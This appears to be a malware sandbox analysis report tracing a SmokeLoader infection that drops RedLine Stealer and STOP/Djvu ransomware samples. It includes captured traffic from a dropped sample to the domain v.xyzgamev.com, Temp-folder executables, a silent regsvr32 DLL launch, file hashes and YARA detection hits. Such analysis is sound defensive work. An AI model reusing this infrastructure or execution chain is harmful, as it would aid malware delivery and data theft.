ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:01 UTC	4736	IN	Data Raw: 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 Data Ascii: ss" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.c
2022-08-31 12:29:01 UTC	4737	IN	Data Raw: 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 Data Ascii: ss="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from
2022-08-31 12:29:01 UTC	4738	IN	Data Raw: 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hi
2022-08-31 12:29:01 UTC	4739	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49748	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:03 UTC	4739	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:03 UTC	4740	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:18 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=buG4Tq6qOr49iHzZvx3T37UH9F7ddbwIaADCulMAuuOsjRURgVU9Bz6pCI5MOduDKFLtdIlD66BHBqLi%2BLA%2Bue6G%2FkM7I5IkXv4Q65uKvB0Sd6SORXpkjig0FyJEZbnl8w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c4fe1fa991db-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:03 UTC	4740	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:03 UTC	4741	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 Data Ascii: ef="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieE
2022-08-31 12:29:03 UTC	4742	IN	Data Raw: 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 Data Ascii: -columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online
2022-08-31 12:29:03 UTC	4744	IN	Data Raw: 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: ck sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">
2022-08-31 12:29:03 UTC	4745	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5732, Parent PID: 2024

General

Target ID:	0
Start time:	14:27:09
Start date:	31/08/2022
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	305664 bytes
MD5 hash:	26C8EA801C4FD1239773BBDEB0E41CCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.393553411.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.393553411.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.393488044.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.393656715.0000000000A51000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.393656715.0000000000A51000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.393850787.0000000000ADA000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3528, Parent PID: 5732

General

Target ID:	1
Start time:	14:27:16
Start date:	31/08/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff618f60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000000.383459492.0000000004641000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000001.00000000.383459492.0000000004641000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: bhseufdPID: 4660, Parent PID: 1088

General

Target ID:	9
Start time:	14:28:04
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Roaming\bhseufd
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\bhseufd
Imagebase:	0x400000
File size:	305664 bytes
MD5 hash:	26C8EA801C4FD1239773BBDEB0E41CCE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.437131679.0000000000B38000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.437016536.00000000009C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000009.00000002.437016536.00000000009C0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.437057713.0000000000AF1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000009.00000002.437057713.0000000000AF1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000009.00000002.437004694.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 38%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1412, Parent PID: 3528

General

Target ID:	12
Start time:	14:28:21
Start date:	31/08/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user\AppData\Local\Temp\BB5C.dll
Imagebase:	0x7ff7414c0000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1504, Parent PID: 1412

General

Target ID:	13
Start time:	14:28:22
Start date:	31/08/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user\AppData\Local\Temp\BB5C.dll
Imagebase:	0x180000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: D7DE.exePID: 1924, Parent PID: 3528

General

Target ID:	14
Start time:	14:28:28
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\D7DE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D7DE.exe
Imagebase:	0x400000
File size:	828928 bytes
MD5 hash:	E990ACDB640F13969C55C38E857AB4AB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.499037539.00000000025BF000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 59%, Metadefender, Browse Detection: 81%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: D7DE.exePID: 4792, Parent PID: 1924

General

Target ID:	15
Start time:	14:28:31
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\D7DE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D7DE.exe
Imagebase:	0x400000
File size:	828928 bytes
MD5 hash:	E990ACDB640F13969C55C38E857AB4AB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000000.483176632.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: F5C7.exePID: 5796, Parent PID: 3528

General

Target ID:	16
Start time:	14:28:36
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\F5C7.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\F5C7.exe
Imagebase:	0x140000000
File size:	3923456 bytes
MD5 hash:	2679869D7C3C730553BDB94848DDEEA5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 20C0.exePID: 5624, Parent PID: 3528

General

Target ID:	18
Start time:	14:28:47
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\20C0.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\20C0.exe
Imagebase:	0x400000
File size:	188416 bytes
MD5 hash:	AE9E2CE4CF9B092A5BBFD1D5A609166E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 54%, Metadefender, Browse Detection: 77%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5236, Parent PID: 5624

General

Target ID:	19
Start time:	14:28:48
Start date:	31/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: 361E.exePID: 5260, Parent PID: 3528

General

Target ID:	23
Start time:	14:28:52
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\361E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\361E.exe
Imagebase:	0x400000
File size:	305152 bytes
MD5 hash:	9BCF2E87EAD0F21D2D02C9D1ABF7063C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000017.00000002.553355323.0000000000918000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.553855101.00000000024D1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000017.00000002.553855101.00000000024D1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000017.00000002.552885193.00000000008A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.553773465.00000000024B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000017.00000002.553773465.00000000024B0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000003.530448441.0000000002470000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 20C0.exePID: 5356, Parent PID: 5624

General

Target ID:	25
Start time:	14:28:53
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\20C0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\20C0.exe" -h
Imagebase:	0x400000
File size:	188416 bytes
MD5 hash:	AE9E2CE4CF9B092A5BBFD1D5A609166E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5204, Parent PID: 5356

General

Target ID:	26
Start time:	14:28:53
Start date:	31/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: 56E6.exePID: 3648, Parent PID: 3528

General

Target ID:	28
Start time:	14:29:01
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\56E6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\56E6.exe
Imagebase:	0x400000
File size:	4342312 bytes
MD5 hash:	5C59A1B24CC858398AEA8C7A1AE32406
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: C40D.exePID: 6036, Parent PID: 3528

General

Target ID:	31
Start time:	14:29:13
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\C40D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C40D.exe
Imagebase:	0x400000
File size:	188416 bytes
MD5 hash:	AE9E2CE4CF9B092A5BBFD1D5A609166E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 54%, Metadefender, Browse Detection: 77%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5072, Parent PID: 6036

General

Target ID:	34
Start time:	14:29:16
Start date:	31/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5732, Parent PID: 2024COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	36.2%
Signature Coverage:	16.2%
